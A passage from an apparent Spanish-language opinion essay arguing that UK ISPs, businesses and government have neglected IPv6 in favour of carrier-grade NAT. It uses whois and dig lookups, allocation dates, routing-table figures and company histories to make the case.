otra nunca se le ha pedido a nadie.\nTres cosas hay que decir claramente, porque el argumento no vale nada sin ellas.\nUno. No es un sustituto, y no lo propongo como tal. IPv6 no hace nada para impedir que un niño de doce años encuentre pornografía. No hace nada sobre los sistemas de recomendación, la reproducción automática o el streaming en vivo. No hace nada sobre el material alojado en otro país, que es la mayor parte. Esos son los problemas para los que la Ley se escribió y ningún cambio de protocolo los toca.\nDos. IPv6 no es una capa de identidad, y quien lo venda como tal lo está vendiendo de más. Las extensiones de privacidad rotan la dirección de un dispositivo por diseño, así que la dirección de la máquina no es la cosa estable. Lo estable es el prefijo delegado a la línea — el /56 que Sky ha estado dando a cada abonado desde 2016. Eso resuelve a un abonado, que es exactamente la resolución que una solicitud legal necesita, y nada más. Es una restauración de lo que una sola dirección IPv4 por línea solía dar, no una nueva capacidad de vigilancia.\nTres. La propiedad que frustra a la policía también frustra a todos los demás que te rastrean, y hay gente que lo valora. Ser uno de quinientos detrás de una dirección compartida es cobertura de multitud genuina contra el perfilado comercial. No creo que valga lo que cuesta — es cobertura comprada haciendo el abuso inatribuible y los límites de tasa inútiles, y es cobertura que las plataformas en su mayoría atraviesan igualmente con cookies y huellas digitales. Pero es un argumento real y merece decirse en vez de ignorarse.\nAsí que no, esto no es IPv6 en vez de la Online Safety Act. Es que Gran Bretaña escribió la ley de seguridad en línea más cara de su historia sobre una fontanería que sabía rota, cuando el arreglo era gratis, bien documentado, y estaba disponible todo el tiempo que se redactaba el proyecto de ley.\nQué pedir en realidad No una prohibición. Una prohibición es el instrumento equivocado y saldría por la culata.\nNo queda IPv4 para repartir — RIPE está vacío desde noviembre de 2019, y un proveedor nuevo obtiene un solo /24 de una lista de espera. Proscribe el uso compartido de direcciones mañana y el pequeño operador no puede conectar clientes en absoluto, mientras que las empresas sentadas sobre bloques clase B de 1990 siguen intactas. Atrincheraría exactamente a la gente de la que va este artículo.\nEl mejor instrumento ya existe y alguien ya ha corrido el experimento.\nEn 2012 la policía federal de Bélgica, su regulador de telecomunicaciones, su Consejo de Fiscales Generales y su asociación de ISP firmaron un código de conducta voluntario de dos páginas. Máximo 16 abonados detrás de una dirección IPv4. Limitar el uso de CGN. Empezar a adoptar IPv6.\nPara 2017 la mayoría de los operadores belgas estaban dentro del límite, uno había bajado a 8, y la policía belga veía una media de cuatro usuarios por dirección móvil. El propio resumen de Europol de por qué es la parte que vale la pena leer dos veces: los mayores proveedores «are quickly moving towards IPv6 because no financial interest to invest in CGN anymore» — se mueven rápido hacia IPv6 porque ya no hay interés financiero en invertir en CGN. Limita la sobresuscripción y la economía del apaño se derrumba, porque un NAT que solo puede apilar dieciséis personas no es más barato que el protocolo que no necesita ninguna.\nEse año Bélgica tenía la mayor adopción de IPv6 del mundo con el 49 %, cuando Gran Bretaña y Francia estaban en el 14 % y España e Italia estaban por debajo del 1 %. Bélgica sigue siendo tercera en la tabla de países de arriba, con el 72,8 %.\nEsa es la petición. No «no puedes compartir direcciones» — no puedes vender una conexión que es a la vez inatribuible y no tiene IPv6. El direccionamiento compartido junto a un IPv6 que funciona está bien. Así es como opera cada red móvil de la Tierra. El direccionamiento compartido sin IPv6 es vender un servicio roto y cobrarle al público las consecuencias.\nSky demostró que se podía hacer, hace once años Si de verdad fuera difícil, nadie en el Reino Unido lo habría logrado.\nSky empezó un proyecto interno de IPv6 a principios de 2013 y terminó en 2016, con aproximadamente el 90 % de su base de línea fija — unos cinco millones de usuarios — recogiendo IPv6 y usándolo. Su ingeniero lo escribió todo en RIPE Labs: 6PE por el núcleo MPLS, peering y tránsito con doble pila, atributos RADIUS para habilitarlo por abonado, trabajo de firmware en siete modelos de CPE incluidos cinco heredados, y mejoras de capacidad en RADIUS y DNS.\nTres años, un ISP, y el mismo cobre de Openreach sobre el que todos los demás vendían. ISPreview reportó el final en septiembre de 2016, con Sky esperando el 95 % de su base para el final de ese año, y Sky se llevó el premio Jim Bound IPv6 por ello.\nSu consejo fue: «Do not underestimate the work required to enable IPv6, and do not leave it to the last minute to begin the journey» — no subestimes el trabajo que hace falta para habilitar IPv6, y no lo dejes para el último minuto para empezar el viaje.\nOnce años después, la mayor parte de la industria sigue en el último minuto, y tratándolo como un sitio donde vivir.\nTodo el mundo ha tenido las direcciones durante años Sky fue el primero de los grandes ISP. No estuvo ni cerca de ser el primero del país, y ni un proveedor de esta lista puede decir que estaba esperando al registro.\nRIPE estampa la fecha de asignación en el nombre del bloque, así que puedes comprobar cualquiera de ellos tú mismo:\nwhois -h whois.ripe.net 2a01:4b00::/32 | grep -E \u0026#39;netname|^org:\u0026#39; # netname: UK-BCUBE-20110225 -\u0026gt; Hyperoptic, allocated 25 February 2011 Cada fecha de abajo vino de esa consulta contra la propia asignación del proveedor, cotejada contra el fichero de delegación. Los grandes ISP están en negrita, el resto son los constructores de fibra completa. Si los clientes obtienen de verdad IPv6 viene de la encuesta de ISPreview según se actualizó en marzo de 2025, y del rastreador móvil para las redes de teléfono.\nCuánto lleva cada proveedor del Reino Unido con IPv6, y si los clientes lo obtienen Cuánto lleva cada proveedor del Reino Unido con IPv6 — y si los clientes de verdad lo obtienen Fechas de asignación del fichero de delegación de RIPE y sus sellos de netname. Si llega a los clientes: ISPreview, marzo de 2025, y el rastreador móvil comunitario. los clientes lo obtienen en parte — solo una red todavía sin entregarlo (17 de 40) 2002 2002 2006 2006 2010 2010 2014 2014 2018 2018 2022 2022 2026 2026 TalkTalk (as Opal Telecom) Andrews \u0026amp; Arnold Vodafone UK EE (as T-Mobile) Sky Gigaclear O2 (Telefónica UK) BT Virgin Media (as NTL) KCOM Hyperoptic (as Bcube) Zen Internet B4RN Trooli (as Call Flow) Exascale Three UK Community Fibre Ogi (as NetSupport) WightFibre Truespeed Airband G.Network Wessex Internet Quickline FibreNest Wildanet Fibrus (as B4B Networks) Zzoomm GoFibre (as Borderlink) Toob Netomnia / YouFibre Pine Media BeFibre Squirrel Internet brsk Lit Fibre (as Broadreach) iDNET * Grain Hey! Broadband Octaplus Cada uno de los cuarenta lleva con espacio IPv6 al menos tres años, y la mayoría más de una década. 17 de ellos todavía no se lo dan a un cliente. Cuarenta proveedores británicos, ordenados por la fecha en que el registro les dio IPv6. Cada barra va desde esa asignación hasta hoy. Las barras azules lo entregan a los clientes; las rosas nunca lo han hecho. Cuarenta proveedores. Cada uno ha tenido espacio de direcciones IPv6 durante al menos tres años, la mayoría durante más de una década — y diecisiete de ellos todavía no se lo dan a un cliente.\nHyperoptic ha tenido 2a01:4b00::/32 desde febrero de 2011. Quince años construyendo fibra en bloques de pisos, vendiendo conexiones gigabit, y poniendo a la gente detrás de un NAT a escala de operador con una asignación IPv6 sin usar en los libros. Trooli ha tenido el suyo trece años. Truespeed y Airband diez.\nAndrews \u0026amp; Arnold es contra quien medir al resto. Un pequeño ISP en Bracknell con una fracción de los clientes y los ingenieros de cualquier otro de esa lista, dando IPv6 a cada línea desde 2002, y una de las empresas detrás de 6UK. TalkTalk cogió su asignación tres meses antes y todavía no la entrega a los consumidores.\nVirgin Media cogió su bloque tres semanas antes de que Zen cogiera el suyo. Zen lo entregó, y yo he estado al final de uno de sus /48 desde entonces. Virgin sigue diciendo «cuando estemos listos».\nY mira el fondo de la tabla. Squirrel, brsk, Lit Fibre y Octaplus consiguieron todos sus asignaciones en los últimos seis años y todos entregan IPv6, mientras que proveedores que tienen espacio desde 2011 no lo hacen. Empezar tarde no es el obstáculo. Empezar siquiera lo es.\nDos nombres de esa encuesta no están en el gráfico, y la razón es la misma para ambos. Cuckoo es una marca minorista que compra acceso mayorista sobre Openreach, CityFibre y otros, y Freedom Fibre es una red mayorista cuyos clientes vienen a través de socios minoristas. Ninguno tiene su propio espacio de direcciones, así que IPv6 es una decisión de otro para ellos. iDNET está marcado con un asterisco porque el suyo es una asignación independiente de proveedor en vez de una asignación propia.\nEl que lo zanja Si quieres el argumento reducido a una sola empresa, es Plusnet.\nBT compró Plusnet en enero de 2007. Plusnet está bajo la propia cuenta RIPE de British Telecommunications, así que ha tenido acceso a la asignación IPv6 de BT desde junio de 2010. BT entrega IPv6. EE, la otra empresa hermana, entrega IPv6. ISPreview notó que BT y Plusnet incluso usan routers de cliente casi idénticos, llamando al hueco «somewhat of a peculiarity» — algo así como una peculiaridad.\nPlusnet probó IPv6 en 2011 y urgió públicamente al resto de la industria a ponerse a ello. En 2019 dijo que lo lanzaría en la primavera de 2020. En 2021 esperaba «to make good progress over the coming year» — hacer buen progreso a lo largo del próximo año. En noviembre de 2023 corrió una prueba de tres meses en dos emplazamientos en Chesterfield y Sheffield, con unos veinte empleados y clientes amistosos.\nEn abril de 2026 su propio foro de clientes seguía preguntando dónde había ido a parar IPv6.\nUna empresa matriz. Una asignación de direcciones. Hardware casi idéntico. Ingenieros que trabajan para el mismo grupo y pueden bajar por el pasillo hasta la gente que ya lo hizo. Tres marcas, y una de ellas no puede gestionar en quince años lo que las otras dos terminaron.\nSea lo que sea lo que detiene esto, no es la tecnología, el dinero, el equipo, ni el espacio de direcciones. Es alguien decidiendo que no es su problema este trimestre, quince años seguidos.\nVirgin Media, dieciséis años de «cuando estemos listos» El otro extremo de la escala merece nombrarse, porque la cronología es cuestión de registro público y es notable.\nMarzo de 2010: un cliente pregunta en el propio foro de Virgin Media cuándo llega IPv6. La respuesta es «cuando estemos listos».\nNoviembre de 2016: Virgin le dice a ISPreview que planea adoptar IPv6 para mediados de 2017. No lo hace.\nJunio de 2018: se reporta una prueba de consumo. Diciembre de 2018: una tercera presentación al UK IPv6 Council, insinuando 2019.\n2021: una declaración de que están «continuing to plan our IPV6 deployment having tested several solutions and intend to introduce IPV6 for our customers in future» — continuando planeando nuestro despliegue de IPV6 habiendo probado varias soluciones y con la intención de introducir IPV6 para nuestros clientes en el futuro.\nFebrero de 2024: Virgin Media bloquea el hilo del foro de catorce años.\nAgosto de 2026: todavía nada.\nDieciséis años. En ese tiempo la empresa fue comprada, se fusionó con O2, reconstruyó su núcleo dos veces y reemplazó todo su parque de routers. En ningún momento nadie añadió una familia de direcciones. Bloquear el hilo es la cosa más honesta de esa lista. Es el momento en que dejaron de fingir y empezaron a gestionar la queja en vez del problema.\nLos altnets no tenían excusa alguna Los constructores de fibra completa eran la oportunidad de empezar limpio. Redes nuevas, equipo nuevo, sin legado, ingenieros contratados esta década. Mira dónde se sientan en la tabla de asignaciones y la mayoría de ellos cogió el espacio de direcciones y se paró.\nAsí que una empresa que levantó dinero institucional para construir una red de fibra nuevecita levantó las calles, sopló fibra a cien mil hogares, compró routers nuevos, escribió una pila de aprovisionamiento nueva. Y puso a sus clientes detrás de una dirección compartida en una red sin IPv6, en 2026, con el espacio de direcciones ya sentado en su propia cuenta de registro.\nY luego varios de ellos cobran £5 al mes por una IPv4 pública estática.\nQuitaron la cosa que funcionaba, declinaron entregar el reemplazo gratis, y convirtieron la rotura resultante en una partida de tu factura. Hay una palabra para un modelo de negocio que fabrica un fallo y luego vende el arreglo, y no es «innovación».\nLos sitios web lo delatan La tabla de enrutamiento muestra lo que hacen las redes. El DNS muestra lo que hacen todos los demás. Así que el 27 de agosto de 2026 puse cincuenta de los sitios más conocidos del Reino Unido en un fichero — administración central, los bancos, los grandes minoristas, las telecos, transporte y unas pocas universidades — y le pregunté a cada uno si responde en IPv6:\nwhile read -r d; do n=$(dig +short AAAA \u0026#34;$d\u0026#34; | grep -c \u0026#39;:\u0026#39;) printf \u0026#39;%-46s %s\\n\u0026#39; \u0026#34;$d\u0026#34; \u0026#34;$([ \u0026#34;$n\u0026#34; -gt 0 ] \u0026amp;\u0026amp; echo AAAA || echo none)\u0026#34; done \u0026lt; sites.txt | sort -k2 Luego comprobé cada respuesta contra un segundo resolutor, porque un servidor recursivo teniendo un mal día no es un hallazgo:\ndig @1.1.1.1 +short AAAA www.tesco.com | grep -c \u0026#39;:\u0026#39; Diecisiete de cincuenta tenían un registro AAAA. Treinta y tres no, y ambos resolutores coincidieron en cada uno.\nLos que no tienen IPv6 incluyen www.bbc.co.uk, www.nhs.uk, www.hmrc.gov.uk, www.hsbc.co.uk, www.barclays.co.uk, www.lloydsbank.com, www.santander.co.uk, www.tesco.com, www.johnlewis.com, www.marksandspencer.com, www.britishairways.com, tfl.gov.uk, monzo.com — un banco fundado en 2015, sin nada heredado — y, mi favorito, www.sky.com.\nSky. La empresa que puso cinco millones de clientes en IPv6 y ganó un premio por ello. Su propio sitio web no responde en IPv6.\nAhora la parte que prueba la tesis más allá de toda discusión.\nQuince de los diecisiete que sí tienen IPv6 lo consiguieron de un proveedor, no de sí mismos. Resolví cada uno y busqué quién posee la dirección que respondió:\nwhois -h whois.radb.net -- \u0026#34;$(dig +short AAAA www.sainsburys.co.uk | grep \u0026#39;:\u0026#39; | head -1)\u0026#34; | grep -i descr www.gov.uk y www.cam.ac.uk responden desde Fastly. ico.org.uk, www.parliament.uk, www.ofcom.org.uk, www.asda.com, www.autotrader.co.uk, www.nationalrail.co.uk y www.jisc.ac.uk responden desde Cloudflare, que enciende IPv6 para todos por defecto. natwest.com y nationwide.co.uk responden desde Azure Front Door. www.legalandgeneral.com y www.screwfix.com responden desde CloudFront. www.sainsburys.co.uk y www.next.co.uk responden desde Akamai.\nDos lo hicieron ellos mismos: Imperial College London, respondiendo desde su propio espacio de direcciones, y el propio sitio del UK IPv6 Council. Una universidad y la gente cuyo propósito entero es IPv6. Esa es la lista.\nY www.tesco.com, www.sky.com y www.nhs.uk también están en Akamai — el mismo CDN, el mismo producto — y no tienen nada de IPv6.\nAkamai ha sido explícito sobre esto desde junio de 2022: «Akamai has enabled IPv4+IPv6 dual-stack as the default for our CDN delivery products for many years, meaning that customers have needed to opt-out for content to be IPv4-only» — Akamai ha habilitado la doble pila IPv4+IPv6 por defecto en sus productos de entrega CDN desde hace muchos años, lo que significa que los clientes han tenido que optar por salirse para que el contenido sea solo IPv4. Añadieron que hicieron el cambio fácil, incluso a través de la API.\nMismo proveedor. Misma plataforma. Encendido por defecto. Una organización lo dejó en paz y otra entró y lo apagó, o mantuvo una configuración antigua que nadie ha leído desde entonces. Sainsbury\u0026rsquo;s tiene IPv6 y Tesco no, y la diferencia entre ellos es un solo flag de configuración y la atención de alguien.\nDespués de eso no queda argumento de coste ni argumento de complejidad en pie. Solo queda si alguien estaba prestando atención.\nEn toda la muestra la regla se sostiene: donde IPv6 llega como el valor por defecto de un proveedor, Gran Bretaña lo tiene. Donde una organización británica habría tenido que decidir algo, no lo tiene. Dos sitios de cincuenta, y uno de esos era el IPv6 Council.\nLo que nos lleva a la industria del servicio gestionado Los ISP de consumo se llevan la culpa del CGNAT, y se la han ganado. Pero la capa que hace más daño es la que vende experiencia: los proveedores de servicios gestionados, los integradores, los equipos de red subcontratados, las consultorías que escriben el diseño de bajo nivel.\nVuelve a la lista de las redes británicas más grandes sin IPv6 — los bancos, British Airways, PwC, QinetiQ. Esas no son startups improvisadas. Son empresas que pagan un montón de dinero para que otro lleve su red, o emplean un gran equipo para llevarla ellas mismas. Cada uno de esos números de AS tiene un documento de diseño detrás, un proceso de cambios, una junta de revisión de arquitectura, y un proveedor con «red» en su nombre. Ni uno de ellos produjo un plan de IPv6.\nEl patrón es el mismo dondequiera que lo mires:\nLa plantilla es IPv4. El estándar de construcción, el conjunto de reglas del cortafuegos, las comprobaciones de monitorización, el IPAM, el runbook, el plan de recuperación ante desastres, el paquete de entrega al cliente — todo IPv4, escrito una vez, clonado durante una década. Añadir una familia de direcciones significa editarlo todo, y a nadie le pagan por editarlo.\nNadie lo pidió. Esta es la frase que acaba cada conversación de IPv6 en esta industria, y es una confesión. Nadie pidió TLS 1.3 tampoco. Nadie te pidió que dejaras de usar SMBv1. Los clientes compran el resultado y te pagan por saber lo que el resultado exige. «El cliente no lo pidió» significa «no quiero aprenderlo y ellos no pueden decírmelo».\nRFC 1918 se siente infinito. El diez-punto son 16,7 millones de direcciones, así que una red interna nunca se siente escasa, así que nunca hay un evento forzoso. Luego llega la fusión, ambos parques están en 10.0.0.0/8, y la respuesta es otra década de NAT de subredes solapadas y un documento explicando qué dirección falsa significa cuál real — más maquinaria, otra vez, para evitar la familia de direcciones que lo habría hecho un no-problema.\nIPv6 expone la competencia. Este es el de verdad. La doble pila no te deja esconderte.\nTienes que saber qué es de verdad tu política de cortafuegos, porque tienes que escribirla dos veces. Tienes que saber qué aspecto tiene tu DNS. Tienes que entender el descubrimiento de vecinos, la delegación de prefijos, y qué hace tu CPE con un /56.\nUn ingeniero que se ha ido tirando con el NAT como un control de seguridad accidental se entera, delante de gente, de que nunca lo fue. Hay carreras de veinte años en esta industria construidas sobre esa única confusión.\nAsí que no se propone. No porque cueste dinero — no cuesta — sino porque proponerlo significa hacerse dueño de ello, y hacerse dueño de ello significa aprenderlo.\nEso es lo que quiero decir con vaguería de tuétano. No perezoso en el sentido de no trabajar duro. Esta industria trabaja extremadamente duro. Trabaja duro en el NAT a escala de operador, y en explicarle a un cliente por qué su CCTV ya no conecta desde fuera. Hará cualquier cantidad de trabajo, siempre que el trabajo sea del tipo que puedes comprar en vez del que tienes que entender.\nY eso está a punto de dejar de ser cuestión de gusto. El Cyber Security and Resilience Bill que ahora pasa por el Parlamento enmendaría las NIS Regulations para arrastrar dentro, entre otros, a los «managed service providers (organisations that provide third-party IT services to other businesses)» — proveedores de servicios gestionados (organizaciones que proveen servicios de TI de terceros a otras empresas). Todavía no es ley. Cuando lo sea, la detección, el registro y la denuncia de incidentes dejan de ser líneas de producto que esta capa vende y se vuelven deberes que tiene que cumplir.\nPonlo al lado de la cadena de más arriba. Resolver cualquier denuncia de abuso empieza con un servidor del otro extremo que haya registrado un puerto de origen, y el servidor del otro extremo es muy a menudo una de las cajas de estas empresas. La gente que pronto tendrá que probar que puede detectar y denunciar un incidente es la misma gente a la que actualmente no se la puede convencer de habilitar una familia de direcciones, o de leer una captura de paquetes cuando un túnel no quiere levantarse.\nLas tres excusas Oirás las mismas tres cada vez, y ninguna dura un minuto.\n«La doble pila es dos de todo.» La corrí en producción en Nominet, en balanceadores de carga F5 delante del registro .uk, así que sé lo que vale la objeción. También lo es la capa de NAT que compraste en su lugar, y esa se sienta en el camino del tráfico con una tabla de sesión, un modelo de capacidad, una historia de conmutación por error y una obligación de logs atada. Nunca estuviste eligiendo entre complejidad y simplicidad. Elegiste la complejidad que venía con una factura.\n«El equipo no lo soporta.» En 2006, justo. En 2026 significa que tu equipo está fuera de soporte, que es una cosa peor de admitir que la que intentabas no decir.\n«No hay ingresos en ello.» No hay ingresos en las copias de seguridad tampoco.\nLas cosas que la gente publica Las excusas de arriba son lo que oyes en una reunión. Debajo de ellas hay una capa de afirmaciones técnicas que se repiten en hilos de foro, secciones de comentarios y respuestas de LinkedIn cada vez que sale IPv6, y la mayoría llevan equivocadas más de una década.\nParte de esto es confusión honesta y parte es una persona que ha decidido no aprender algo echando mano de una razón. De cualquier modo vale la pena repasarlo, porque estas afirmaciones hacen trabajo real. Son lo que un ingeniero le repite a un jefe que no puede comprobarlas.\n«El NAT es mi cortafuegos. IPv6 pone cada dispositivo directo en internet.»\nEsta es la grande y está al revés. La protección que la gente atribuye al NAT viene de que no hay ninguna correspondencia hasta que algo de dentro pide una — que es un cortafuegos con estado, y es el cortafuegos el que hace el trabajo, no la traducción. El IETF lo dijo en RFC 4864 en 2007: ese papel, «often marketed as a firewall, is really an arbitrary artifact» — a menudo comercializado como un cortafuegos, es en realidad un artefacto arbitrario —, donde un cortafuegos de verdad te da «explicit and more comprehensive management controls» — controles de gestión explícitos y más completos.\nCada router IPv6 de consumo viene con denegación por defecto en la entrada. Obtienes la misma postura, de una política que alguien escribió, en vez de de un efecto secundario de quedarse sin direcciones. Y entonces puedes permitir exactamente la única cosa que querías permitir, en vez de la sesión de espiritismo del reenvío de puertos.\nSi tu modelo de seguridad entero es «los atacantes no pueden encontrar mis dispositivos», no tenías un modelo de seguridad. Tenías NAT.\n«IPv6 es más lento.»\nEste merece una respuesta honesta en vez de un descarte, porque la verdad es mixta y la gente que lo dice no está simplemente equivocada.\nLos proveedores de contenido que han optimizado para él miden ganancias: Facebook reportó cargas de página alrededor de un 15 % más rápidas sobre IPv6, Akamai alrededor de un 5 % en móvil. La medición más amplia de toda la internet de APNIC es menos halagadora y tiene los tiempos de ida y vuelta de IPv6 corriendo marginalmente más altos de media — del orden de un milisegundo más o menos, y mejorando con el tiempo.\nAsí que: a grandes rasgos empate, mejor donde alguien ha hecho el trabajo, ocasionalmente un pelo peor donde nadie lo ha hecho.\nVale la pena saber dónde se sienta de verdad el coste, porque la cabecera es lo que la gente imagina y la cabecera no es el problema.\nLas cabeceras IPv4 e IPv6, y qué le cuesta cada una a un router Las dos cabeceras, y qué le cuesta cada una a un router Campos a escala sobre 32 bits. Fuentes: RFC 791 (IPv4) y RFC 8200 (IPv6). trabajo que un router debe hacer por salto clave de búsqueda más ancha IPv4 20 bytes, hasta 60 con opciones 031 Version IHL Type of Service Total Length Identification Flags Fragment Offset Time to Live Protocol Header Checksum Source Address Destination Address Options — variable length, 0 to 40 more bytes IPv6 40 bytes, fijo. Siempre. 031 Version Traffic Class Flow Label Payload Length Next Header Hop Limit Source Address (128 bits) Destination Address (128 bits) IPv4 hace que un router\u0026#160;recalcule la suma de control en cada salto, lea un campo de longitud antes de saber dónde empieza la carga y lleva fragmentación. IPv6 quita los tres — y pide casar sobre\u0026#160;una clave cuatro veces más ancha. Las dos cabeceras una al lado de la otra, campos dibujados a escala a lo largo de 32 bits. Sombreado en naranja es trabajo que un router tiene que hacer en cada salto; sombreado en azul es la clave de búsqueda más ancha. Empieza con lo que IPv6 le quitó al router. IPv4 lleva una suma de comprobación de cabecera. El Time to Live cambia en cada salto, así que la suma de comprobación tiene que cambiar con él, y RFC 6583 lista «verifying and updating the checksum» — verificar y actualizar la suma de comprobación — como un paso en el propio proceso de reenvío. IPv6 no tiene ninguna. Ese paso simplemente se va.\nLuego la longitud. Una cabecera IPv4 es variable, que es para lo que sirve IHL: un router lee una longitud antes de saber dónde empieza la carga útil. Una cabecera IPv6 son 40 bytes. Siempre. Cada campo se sienta en un desplazamiento fijo y nada hay que averiguarlo primero.\nLuego la fragmentación. Los routers IPv4 pueden fragmentar en vuelo, que es por lo que Identification, Flags y Fragment Offset están en la cabecera siquiera. RFC 8200 es rotundo al respecto: «fragmentation in IPv6 is performed only by source nodes, not by routers along a packet\u0026rsquo;s delivery path» — la fragmentación en IPv6 la realizan solo los nodos de origen, no los routers a lo largo del camino de entrega de un paquete. Así que ese camino se va también.\nSolo en el manejo de cabeceras IPv6 es el protocolo más barato de reenviar. Se construyó para serlo.\nEl único sitio donde sí cuesta más es por ruta, y eso resulta no importar. La clave de búsqueda pasó de 32 bits a 128, así que una entrada de reenvío IPv6 es más ancha y en mucho equipo ocupa dos ranuras de hardware donde una ruta IPv4 ocupa una. Todos paran el argumento ahí. Vale la pena ir un paso más allá, porque la tabla completa es cuatro veces más pequeña.\nEn el volcado del RIS generado a las 02:03 UTC del 28 de agosto de 2026 había 1 229 166 prefijos IPv4 en la tabla de enrutamiento global y 300 470 de IPv6. Cuatro veces más rutas IPv4, cada una un cuarto del ancho. Así que el almacenamiento en bruto de la clave sale empate técnico: 4,92 MB contra 4,81 MB. Ahora aplica la regla de dos-ranuras-por-ruta-IPv6 que preocupa a la gente. Una tabla IPv6 completa aún necesita cerca de la mitad de las entradas de hardware de una IPv4 completa.\nY la razón de que la tabla IPv4 sea tan grande es la propia escasez. 767 543 de esas 1,2 millones de rutas son /24 — el 62 % de toda la internet IPv4 sentada en el prefijo más largo que alguien aceptará, porque los bloques se trocearon, se vendieron y se anunciaron en pedazos por quien los compró. Cada uno de esos es un router en algún sitio que tiene una entrada que no necesitaría si el espacio no se hubiera agotado.\nLa tabla de enrutamiento IPv4 es cuatro veces el tamaño de la de IPv6 La tabla de enrutamiento IPv4 es cuatro veces el tamaño — y la mayor parte es la escasez Prefijos distintos en la tabla de enrutamiento global, volcado de RIPE RIS generado a las 02:03 UTC, 28 de agosto de 2026. IPv4clave de 32 bits 767 543 de ellos son /24 1 229 166 IPv6clave de 128 bits 300 470 Cuatro veces más rutas IPv4, cada una un cuarto del ancho — el almacenamiento en bruto es un empate técnico, 4,92 MB contra 4,81 MB. Cuenta una ruta IPv6 como dos entradas de hardware, como la gente teme, y una tabla IPv6 completa todavía necesita más o menos la mitad. 62 % de la tabla IPv4 son /24\u0026#160;— bloques troceados, vendidos y anunciados a pedazos porque el espacio se agotó. Cada uno es una entrada que un router no tendría si no. Prefijos distintos en la tabla de enrutamiento global el 28 de agosto de 2026, contados desde el volcado del RIS de RIPE. La parte sólida de la barra de IPv4 son los /24 — la desagregación que la escasez de direcciones forzó. Así que el argumento de la memoria va al revés de como se cuenta en las reuniones. Llevar IPv6 es más barato en tu FIB que llevar IPv4, y se vuelve más barato cada año que el mercado de transferencia trocea otro /16 en dieciséis /24.\nY los picos de CPU que la gente de verdad sufre no son ninguno de esos. Un router moderno reenvía ambas familias en silicio a velocidad de línea. Lo que duele es cualquier cosa que empuja un paquete fuera de ese camino hacia el plano de control, que el RFC 6583 llama «a \u0026lsquo;slower\u0026rsquo; software process running on a general purpose processor» — un proceso de software «más lento» corriendo en un procesador de propósito general. Ese procesador se dimensionó para protocolos de enrutamiento. Nunca para el tráfico.\nDos cosas le empujan paquetes. La primera son las cabeceras de extensión. Son una cadena en vez de un bloque fijo, así que una caja que quiere los puertos de capa 4 para una ACL o un hash de ECMP tiene que recorrer una lista de longitud variable para encontrarlos, y una cabecera de Opciones Hop-by-Hop «may be examined or processed by any node along a packet\u0026rsquo;s delivery path» — puede ser examinada o procesada por cualquier nodo a lo largo del camino de entrega de un paquete. En mucho equipo eso significa desviado.\nLa segunda es el descubrimiento de vecinos. Un /64 cubre billones de direcciones que nunca se asignarán, así que escanear uno pone a un router a resolver direcciones que no existen. RFC 6583 existe por eso, y lo llama una denegación de servicio.\nAmbos tienen respuestas conocidas. Filtra Hop-by-Hop en el borde, limita la tasa de ND, pon un tope a la caché de vecinos. Ninguno es una razón de que el protocolo sea lento. Son razones de que un router sin configurar sea lento, y eso apunta a donde apunta el resto de este artículo.\nAhora pesa un milisegundo contra la alternativa que de verdad desplegaste — una caja de traducción con estado en el camino de cada conexión, sosteniendo una tabla de sesión, que rompe algunas de ellas directamente. Nadie se quedó parado veinte años por un milisegundo.\n«Hay de sobra IPv4 por ahí, puedes simplemente comprarla.»\nPuedes. Así es como se ve una escasez. Bloques repartidos por nada en 1990 ahora cambian de manos a unos $20 por dirección, y AWS factura $43,80 al año por cada una que uses.\nUn mercado en una cosa no prueba que haya de sobra de ella. Prueba que alguien averiguó cómo cobrarte por la escasez.\nNadie iba a obligarlos nunca El Reino Unido no tiene política sobre esto en absoluto, y nunca la ha tenido.\nHubo un intento. 6UK se montó en 2010 con £20 000 de dinero semilla del Department for Business, Innovation and Skills, respaldado por Vint Cerf, con LINX, AAISP, Timico y Easynet detrás. En diciembre de 2012 sus directores voluntarios dimitieron en la asamblea general, nadie se presentó a la junta, y se disolvió. Su veredicto de despedida: los incentivos de libre mercado son insuficientes, «one factor appears to dominate IPv6 adoption rates, namely government support» — un factor parece dominar las tasas de adopción de IPv6, a saber, el apoyo del gobierno —, y «countries with hands-off governments fall behind» — los países con gobiernos que no se meten se quedan atrás.\nCatorce años después, eso es exactamente lo que pasó. El UK IPv6 Council sigue en marcha, pero un foro no es una palanca.\nCompara los Estados Unidos, donde el memorándum M-21-07 de la OMB exigía que el 80 % de los activos federales habilitados para IP fueran solo-IPv6 para el final del año fiscal 2025. Las agencias lo incumplieron. Aun así tenían un número que incumplir, una fecha para incumplirlo, y alguien que tiene que levantarse y explicar el incumplimiento. Aquí no hay nada que incumplir, así que nadie ha tenido nunca que explicar nada.\nEl gobierno británico no exige IPv6 en sus propias compras de ninguna manera con sentido. Ofcom no lo mide. Ningún regulador pregunta por ello. Y así, predeciblemente, www.nhs.uk y www.hmrc.gov.uk no lo tienen, mientras que www.gov.uk sí. Y www.gov.uk solo lo tiene porque se sirve a través de Fastly, que encendió IPv6 hace años en nombre de otro.\nHe escrito antes sobre lo que pasa cuando nadie tiene un contrato sobre una industria — los mecanismos que funcionan resultan ser los que alguien con recursos elige operar, y si nadie lo hace, no pasa nada durante una década. IPv6 en el Reino Unido es ese patrón otra vez, sin siquiera un voto de los miembros al final.\nY no es que nadie se diera cuenta La ausencia de un requisito sería decepcionante si esto hubiera pasado sin notarse. No pasó.\nEl Estado averiguó lo que hace el NAT a escala de operador y legisló sobre ello. El Parlamento miró el problema directo a los ojos, lo entendió lo bastante bien como para escribir ley sobre él, y escribió la ley que acomoda la rotura. «Exígeles que desplieguen el protocolo que lo elimina» o nunca se planteó o se planteó y se descartó.\nAsí que somos un país cuya posición declarada es que la atribución de IP importa lo bastante para legislación antiterrorista, y que no le pide a un solo proveedor que haga la cosa gratis que la restaura. Fraude, secuestro de cuentas, acoso, amenazas de muerte, denuncias de abuso infantil y terrorismo llegan todos a la red de acceso haciendo la misma pregunta, y para muchas conexiones británicas la respuesta honesta es «uno de estos varios cientos de hogares».\nEl National Cyber Security Centre es parte del GCHQ y publica guías sobre muchísimas cosas. No le exige IPv6 a nadie. Nadie en Gran Bretaña lo hace.\nwww.ncsc.gov.uk y www.gchq.gov.uk sí responden ambos en IPv6, eso sí. También la Internet Watch Foundation. Los tres porque están detrás de Cloudflare, que lo encendió para todos por defecto. www.police.uk no tiene ninguno.\nY lo que eso significa para los diecisiete Diecisiete de los cuarenta proveedores de este artículo venden conexiones sin IPv6, y cerca de la mitad de los constructores de fibra completa ponen a los clientes detrás de un NAT a escala de operador.\nNo acuso a ninguno de ellos de un delito, y nadie en esos edificios está esperando uno.\nPero una conexión detrás de un NAT a escala de operador sin IPv6 no puede 